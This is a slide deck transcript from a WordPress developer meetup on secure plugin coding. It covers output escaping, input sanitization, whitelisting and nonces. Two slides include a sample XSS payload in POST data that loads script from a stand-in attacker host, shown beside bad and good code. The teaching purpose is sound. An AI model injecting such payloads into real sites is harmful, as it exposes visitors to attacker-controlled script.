Top Banner
So you’re writing code for the masses, huh? Are you being responsible and protecting them from getting pwned?
19

Secure WordPress Development Practices

Sep 01, 2014

Download

Technology

Brandon Dove

I gave this talk at the September OCWP developer meetup.
Welcome message from author
This document is posted to help you gain knowledge. Please leave a comment to let me know what you think about it! Share it to your friends and learn new things together.
Transcript
Page 1: Secure WordPress Development Practices

So you’re writing code for the masses, huh?Are you being responsible and protecting them from

getting pwned?

Page 3: Secure WordPress Development Practices

That guy pwned a plugin I wrote live on stage at

WordCamp New York.It changed my life.

Page 5: Secure WordPress Development Practices

tl;dr

• Keep your dev environment clean

• Escape your data output

• Sanitize your data inputs

• Validate referrers

• Core functionality should always trump your super awesome functionality

Page 6: Secure WordPress Development Practices

Keep Your Dev Environment Clean

Don’t think that just because you’re on a mac you’re safe from viruses.

If you’re on a PC, you should assume you’re already pwned.

Page 7: Secure WordPress Development Practices

Kaspersky Anti-Virus

• I use it.

• Dre uses it.

• Tony uses it.

• You should be using it.

Page 8: Secure WordPress Development Practices

Trust No One,Trust Nothing

Page 9: Secure WordPress Development Practices

XSS: Cross-site Scripting

Cross-site scripting (XSS) is a type of computer security vulnerability typically found in Web applications. XSS enables attackers to inject client-side script into Web pages viewed by other users. A cross-site scripting vulnerability may be used by attackers to bypass access controls such as the same origin policy. Cross-site scripting carried out on websites accounted for roughly 84% of all security vulnerabilities documented by Symantec as of 2007.[1] Their effect may range from a petty nuisance to a significant security risk, depending on the sensitivity of the data handled by the vulnerable site and the nature of any security mitigation implemented by the site's owner.

http://en.wikipedia.org/wiki/Cross-site_scripting

Page 10: Secure WordPress Development Practices

Escape All The Things On Outputhttp://codex.wordpress.org/Data_Validation#Output_Sanitation

• Bad data will be tamed

• esc_{context}

• esc_js - Escape single quotes, htmlspecialchar " < > &, and fix line endings.

• esc_html - Escaping for HTML blocks.

• esc_attr - Escaping for HTML attributes.

• esc_sql - Escapes data for use in a MySQL query.

• esc_url - Checks and cleans a URL.

• esc_textarea - Escaping for textarea values.

Page 11: Secure WordPress Development Practices

Sanitize All The Things On Inputhttp://codex.wordpress.org/Data_Validation#Input_Validation

• sanitize_* and similar functions help for most things

• $_POST = array(‘e’=>‘<script src=‘http://pwnd.com/u.js’></script>’)

• BAD: update_post_meta($id, ‘e’, $_POST[‘e’])

• GOOD: update_post_meta($id, ‘e’, sanitize_email($_POST[‘e’]))

• Note: Might unintentionally change data and give unexpected results

Page 12: Secure WordPress Development Practices

Whitelisting Datahttp://codex.wordpress.org/Data_Validation#Whitelist

• Whitelisting data - Only accept known data

• $_POST = array(‘pwn’=>‘<script src=‘http://pwnd.com/u.js’></script>’,‘e’=‘[email protected]’);

• BAD:

• foreach( $_POST as $key => $val ) :update_post_meta($id, $key, $val);endforeach;

• GOOD: update_post_meta($id, ‘e’, sanitize_email($_POST[‘e’]))

Page 13: Secure WordPress Development Practices

Blacklisting Datahttp://codex.wordpress.org/Data_Validation#Blacklist

• Blacklisting data - Only accept data if it’s in the proper format

• $_POST = array(‘e’=‘me@domain.’);

• if( is_email($_POST[‘e’]) )update_post_meta( $id, ‘e’, sanitize_email($_POST[‘e’]) );

Page 15: Secure WordPress Development Practices

Sweet, this might lead to my next big deal! ACCEPT!

Page 17: Secure WordPress Development Practices

Nonces FTW!(http://codex.wordpress.org/WordPress_Nonces)

• Before the Request

• wp_nonce_url

• wp_create_nonce

• wp_nonce_field

• Verify the Request

• wp_verify_nonce

• check_admin_referer

Page 18: Secure WordPress Development Practices

Is there an API for that?

Page 19: Secure WordPress Development Practices

Professional WordPressPlugin Developmenthttp://amzn.to/plugindevbook